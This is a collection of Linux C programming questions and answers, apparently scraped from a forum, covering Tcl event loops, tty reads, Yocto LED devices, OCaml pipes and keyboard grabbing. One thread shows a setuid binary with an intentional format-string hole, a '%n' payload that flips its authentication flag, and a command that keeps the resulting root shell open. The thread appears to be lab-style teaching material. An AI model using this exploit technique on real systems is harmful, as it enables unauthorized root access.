I have created my own event loop in Tcl as below. When i run the below code using tclsh interactively, CPU Utilization is close to 0% and when i run the same run using bsub, CPU Utilization shoots up to 100%.
I have even tried making read call blocking using below and that doesn't help too.
int flag = fcntl(0, F_GETFL);
flag = flag & (~O_NONBLOCK);
(void) fcntl(0, F_SETFL, (long)flag);
What is the reason here and how do i solve this problem?
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <tcl.h>
#include <errno.h>
#include <fcntl.h>
void fwStdinKeyHandler(ClientData clientData, int mask)
{
unsigned char c = 0;
int rc = read(STDIN_FILENO, &c, 1);
//printf("rc is : %d\n",rc);
while (rc < 1 && errno == EINTR) {}
}
static void MainLoop(void)
{
Tcl_CreateFileHandler(STDIN_FILENO, TCL_READABLE, fwStdinKeyHandler, NULL);
while (1) {
Tcl_DoOneEvent(0);
}
fprintf(stdout,"Exit MainLoop\n");
fflush(stdout);
}
static int Hello_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[])
{
Tcl_SetMainLoop(MainLoop);
return TCL_OK;
}
/*
* Hello_Init -- Called when Tcl loads your extension.
*/
int DLLEXPORT Cmd_Init(Tcl_Interp *interp)
{
if (Tcl_InitStubs(interp, TCL_VERSION, 0) == NULL) {
return TCL_ERROR;
}
/* changed this to check for an error - GPS */
if (Tcl_PkgProvide(interp, "Hello", "1.0") == TCL_ERROR) {
return TCL_ERROR;
}
Tcl_CreateObjCommand(interp, "doone_loop", Hello_Cmd, NULL, NULL);
return TCL_OK;
}
How to make?
1. File saved in,say, hello.c
2. gcc -fpic -c hello.c -I/usr/local/include
3. gcc -shared hello.o -o libcmd.so
How to run?
runme file contains:
load libcmd.so
doone_loop
/usr/bin/tclsh runme => CPU Utilization close to 0%
bsub -q interactive -m "/usr/bin/tclsh runme" => CPU Utilization close to 100%
I think the problem is that when the command is run inside (the system that) bsub (talks to), it is run non-interactively. In particular, stdin is probably coming from either a file or /dev/null, both of which are always readable to the notifier (which is a tamed version of a bunch of low level system calls). That means your code is called back into a lot, almost as if it is busy-looping, generating a lot of CPU usage.
Since this is an operating system level behaviour, your approach simply won't work. You'll need to detect if you are in this situation (perhaps with isatty()?) and not install the event handler if it won't work right.
For non-interactive shell, there is no terminal and hence, no stdin channel, so read call returns zero. So, we need to add below code in fwStdinkeyhandler after read returns 0.
if(rc==0) {
Tcl_DeleteFileHandler(0);
}
Related
I have a piece of code that reads in the keyboard input (used for debugging purposes), implemented in C on Ubuntu 18.04. Since other processes have to run on the same thread, it is initialised as non-blocking.
When I try to run my application on run level 3, it blocks when trying to read in a keyboard character. This behaviour does not occur when I run the application on run level 5.
Does anyone have any answer as to why the behaviour is inconsistent between these two run levels?
This is the code (not shown: where the read operation is called by the application's main loop):
#include <errno.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>
static int fd;
int kbd_initModule()
{
fd = open("/dev/tty", O_NONBLOCK | O_NOCTTY);
if(fd < 0)
{
ERROR("Unable to open keyboard: %d", fd);
return fd;
}
else
{
return 0;
}
}
int kbd_deinitModule()
{
close(fd);
return 0;
}
int kbd_getEvent()
{
uint8_t buf[1];
int tmp = read(fd, buf, sizeof(buf));
if(tmp == -1)
{
ERROR("%s", strerror(errno));
return -1;
}
else
{
return buf[0];
}
}
I am available to answer any questions and provide additional details.
Additional details:
Launch app: run level 5: sudo ./app ; run level 3: sudo xinit ./app (there are GUI components in the app, so X server must be started on run level 3 - would be good if someone knew more about this).
Update: Turns out if you intialise to the current tty device on runlevel 3, it does not work. Initialising to a specific tty device (in this case tty3) resolves the issue.
Not really sure why this is the case (maybe the default tty on run level 3 is the X window?), would appreciate if someone could explain why this happens.
I am using sama5d27-som1-ek1 embedded board which i build for it Linux image operating system and a cross compiler with YOCTO project.
I wanted to test a C code on my board. This code creates a new userspace LED class device and monitors it. A timestamp and brightness value is printed each time the brightness changes. I compiled it with the corss compiler but when i tried to run it, it tells me:
Failed to open /dev/uleds: No such file or directory
When i check /dev directory I can't find uleds. I think that this is the problem. Do you have any suggestions ?
This is the code:
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <linux/uleds.h>
int main(int argc, char const *argv[])
{
struct uleds_user_dev uleds_dev;
int fd, ret;
int brightness;
struct timespec ts;
if (argc != 2) {
fprintf(stderr, "Requires <device-name> argument\n");
return 1;
}
strncpy(uleds_dev.name, argv[1], LED_MAX_NAME_SIZE);
uleds_dev.max_brightness = 100;
fd = open("/dev/uleds", O_RDWR);
if (fd == -1) {
perror("Failed to open /dev/uleds");
return 1;
}
ret = write(fd, &uleds_dev, sizeof(uleds_dev));
if (ret == -1) {
perror("Failed to write to /dev/uleds");
close(fd);
return 1;
}
while (1) {
ret = read(fd, &brightness, sizeof(brightness));
if (ret == -1) {
perror("Failed to read from /dev/uleds");
close(fd);
return 1;
}
clock_gettime(CLOCK_MONOTONIC, &ts);
printf("[%ld.%09ld] %u\n", ts.tv_sec, ts.tv_nsec, brightness);
}
close(fd);
return 0;
}
First of all check your kernel config for CONFIG_LEDS_USER it should be like built-in (compiled in) module y or loadable module m. You can check it on already compiled and running kernel
zcat /proc/config.gz | grep LEDS_USER
cat /boot/config | grep LEDS_USER
cat /boot/config-$(uname -r) | grep LEDS_USER
Enable this option in config and rebuild your kernel. If I not mistaken you can add this line to the kernel config and YOCTO should use it as is. Or another way is to make it like the patch for config and add this patch to .bb kernel rule and YOCTO applies it during the building of a project.
Then use insmod to insert your module if it configures like loadable module m. If you choose y option /dev/uleds should be present by default
After these steps /dev/uleds should appear.
I have a Setuid binary that has a printf format string vulnerability that is supposed to be exploited with "%n" to overwrite the value of the authenticated global variable. The execution of /bin/bash works with root Setuid permissions when authenticated = 1, but not when authenticated = 0 and the exploit is used.
I have tried with ls and it works, so the exec is happening. I have also tried making authenticated = 1 in the source so it automatically runs bash with no exploit. This works in spawning a root shell. When the exploit is used, the program calls the access granted function as expected, but ends at the exec and perror is never reached. The parent process dies, though, meaning the exec of bash must have happened. Bash must be being executed, but it is crashing/exiting on startup.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int authenticated = 0;
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
int cpid = fork();
if(cpid == 0){
printf("child!\n");
execlp("/bin/bash", "bash", NULL);
perror("error");
}
else{
wait(NULL);
}
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
setreuid(geteuid(), getuid());
printf("Would you like a shell? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
With authenticated = 0, I use gdb to find the address of authenticated is somewhere like 0x0804a050. I run the program with AAAA %x %x %x... to find that buf begins at the 4th stack position. My exploit then is: python -c "print('\x50\xa0\x04\x08%x%x%x%n')" which successfully overwrites the global var as "Access Granted!" is printed. The perror is never reached, and Bash must spawn, but the parent process dies, so the Bash process must have died also.
This does not happen when authenticated = 1. In that scenario, the Setuid binary behaves as expected and pops a root shell.
My question is: why is Bash dying on startup but only when the Detuid binary is exploited?
Bash must be dying because ps -aux does not list a new Bash process, and running exit exits the calling bash instance.
When you run one of:
python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload
The only input is your exploit. You don't input any commands, so bash has nothing to do and exits. This is the same thing that happens if you run true | bash or bash < /dev/null.
If you want to be able to type in some commands manually afterwards, the easiest way to do that is:
{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln
I need to load a *.ml file into the Ocaml toplevel (the interactive interpreter, when you type 'ocaml' in a shell) and then send an instruction from a Matlab process, get back the result of the instruction, send back another instruction, ...
I've made this C program. The parent process gets the Matlab's instruction from a named pipe, sends it to the child process (with ocaml running) and gets the response back so it can send it to Matlab.
But there is some kind of bug: when I send an instruction, I get back some weird characters, I send another instruction and then I receive the response of the first instruction...
(I didn't copy the perror() test to have less text)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void) {
// Parent -> Child
int pipe_in[2];
// Child -> parent
int pipe_out[2];
/*
pipe[0] = output
pipe[1] = input
*/
pipe(pipe_in);
pipe(pipe_out);
pid_t pid;
if ((pid = fork()) == 0) {
// CHILD SIDE
close(pipe_in[1]);
close(pipe_out[0]);
dup2(pipe_in[0], STDIN_FILENO);
dup2(pipe_out[1], STDOUT_FILENO);
dup2(pipe_out[1], STDERR_FILENO);
close(pipe_in[0]);
close(pipe_out[1]);
char *args[] = {"ocaml", NULL};
execvp("ocaml", args);
printf("FAIL\n");
exit(EXIT_FAILURE);
} else {
// PARENT SIDE
printf("[*] PID : %d\n", (int) pid);
close(pipe_in[0]);
close(pipe_out[1]);
char cmd[1024];
char feedback[1024];
ssize_t cmd_read;
ssize_t feedback_read = sizeof(feedback);
while (1) {
// Get the instruction from Matlab.
printf("[>] ");
int fifo_in = open("/tmp/pipe_in", O_RDONLY);
cmd_read = read(fifo_in, cmd, sizeof(cmd));
close(fifo_in);
printf("%s\n", cmd);
// Send the instruction to the ocaml interpreter.
write(pipe_in[1], cmd, cmd_read);
// Read the response of the ocaml interpreter.
while (feedback_read == sizeof(feedback)) {
feedback_read = read(pipe_out[0], feedback, sizeof(feedback));
printf("[-] %d\n", (int) feedback_read);
}
printf("[<] %s\n", feedback);
// Send to Matlab the response.
int fifo_out = open("/tmp/pipe_out", O_WRONLY);
write(fifo_out, feedback, feedback_read);
close(fifo_out);
cmd_read = 0;
feedback_read = sizeof(feedback);
}
close(pipe_in[1]);
close(pipe_out[0]);
}
}
I compile the code with gcc -Wall -std=c99 -o tphr tphr.c
I run the programm in one shell and in another :
> printf 'let x = 10;;\n' > /tmp/pipe_in
> cat /tmp/pipe_out
OCaml version 4.03.0
# %
> printf 'let y = 5;;\n' > /tmp/pipe_in
> cat /tmp/pipe_out
val x : int = 10
# %
How can I fix the result ?
If, by "weird characters", you mean
OCaml version 4.03.0
that is simply because this is what the OCaml toplevel prints out on startup. So you need to read this line when your own program starts up.
If you mean the # symbol, also known as the prompt, you can turn it off by running ocaml -nopromt.
You don't want to run the interactive ocaml toplevel here for multiple reasons:
the toplevel parses the configfiles of the user and then loads different modules. This can change the available values, change behaviour, and make your matlab process get different results per user.
the output of the toplevel may change between versions making it difficult to parse and return the right reply to matlab
Did you know that you can call the toplevel from ocaml bytecode to interprete strings? I suggest dumping the C code and writing ocaml byte code to read from the pipe, interpret the command and reply with the result.
I'm trying to write my own "keyboard driver" (without actually writing a kernel module),
by grabbing the keyboard at what I assume is the lowest level of abstraction in userland: /dev/input/event*.
The following code does the grabbing, provided you change the first ocurrence of ioctl(fd, EVIOCGRAB, UNGRAB)
to ioctl(fd, EVIOCGRAB, GRAB).
// gcc main.c -o main
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <linux/input.h>
#include <fcntl.h>
#include <errno.h>
#define EXIT_KEY KEY_ESC
#define UNGRAB 0
#define GRAB 1
const char* kbd_device = "/dev/input/event4";
// ------------------------------------------------------------------------------------------------
int main(void){
int fd = open(kbd_device, O_RDONLY);
if(fd == -1){
printf("Cannot open %s. %s.\n", kbd_device, strerror(errno));
return -1;
}
if(ioctl(fd, EVIOCGRAB, UNGRAB))
printf("Couldn't grab %s. %s.\n", kbd_device, strerror(errno));
else
printf("Grabbed %s!\n", kbd_device);
while(1){
struct input_event event;
read(fd, &event, sizeof(event));
if (event.type == EV_KEY && event.value >= 0 && event.value <= 2){
printf("%d %3d\n", event.value, event.code);
if(event.code == EXIT_KEY){
ioctl(fd, EVIOCGRAB, UNGRAB);
close(fd);
return 0;
}
}
}
}
Problem
If I run gcc main.c -o main && sudo ./main, everything works as expected.
If first compile and then I run sudo ./main, however, the terminal scrolls down nonstop, as if the RETURN key was held down.
Why does happen?
Notes
I'm running Ubuntu 14.04
On my platform, /dev/input/event4 happens to be the keyboard
Motivation
I'm trying to write a keyboard "driver" that works both on X and not on X (eg. a TTY).
I understand X11's keyboard library/extension is XKB. I think the TTY's keyboard library is linux/divers/tty/vt/keyboard.c (source),
the initial keyboard map it uses is in linux/drivers/tty/vt/defkeymap.map (source), and it can be modified by using loadkeys (source here). Do correct me if I'm wrong.
When you type
gcc main.c -o main && sudo ./main ↵
GCC takes some time, so the ↵ key has been released by the time ./main runs.
When you type
sudo ./main ↵
the terminal sends the shell a newline as soon as you push down ↵, and starts executing ./main. Then the ↵ released event is seen by your program, but not by your terminal, because your program has grabbed the input device. Thus, to the terminal it looks like ↵ is stuck down, so it continues to produce newlines.
This question has been answered already, but it still lacks an elegant solution to the problem.
I had the same issue with a driver I implemented some time ago that also required capturing the keyboard.
I could not find a way to force the the kernel to recognize a key release in the device before capturing it, so the solution consists in not grabbing the device until you detect that all keys have actually been released. This can be accomplished by monitoring the device with the EVIOCGKEY ioctl AFTER opening it and BEFORE grabbing it.
OBS: Please observe that the apparently dummy read function within the while loop is necessary in order to avoid a busy wait and so that the loop will iterate after each event from the input device. Also note that the file descriptor must be configured for blocking I/O (the default).
void waitReleaseAll(int fd) {
struct input_event evt;
unsigned char key_b[KEY_MAX/8 + 1];
int i, nothing;
while ( 1 ) {
memset(key_b, 0, sizeof(key_b));
ioctl(fd, EVIOCGKEY(sizeof(key_b)), key_b);
for ( nothing = 1 , i = 0 ; i < KEY_MAX/8 + 1 ; i++ ) {
if ( key_b[i] != 0 ) { nothing = 0; break; }
}
if ( nothing ) break;
read(fd, &evt, sizeof(evt));
}
printf("All keys are now released\n");
}
To fix your problem, you should use SIGINT in your code to identify Ctrl-C keystroke from the user.
Implement SIGNAL in your code:
static volatile sig_atomic_t stop = 0;
static void interrupt_handler(int sig)
{
stop = 1;
} // Outside of the main function.
int main(int argc, char *argv[])
{
signal(SIGINT, interrupt_handler);
while (!stop) {
//your code
}
exit(0);
}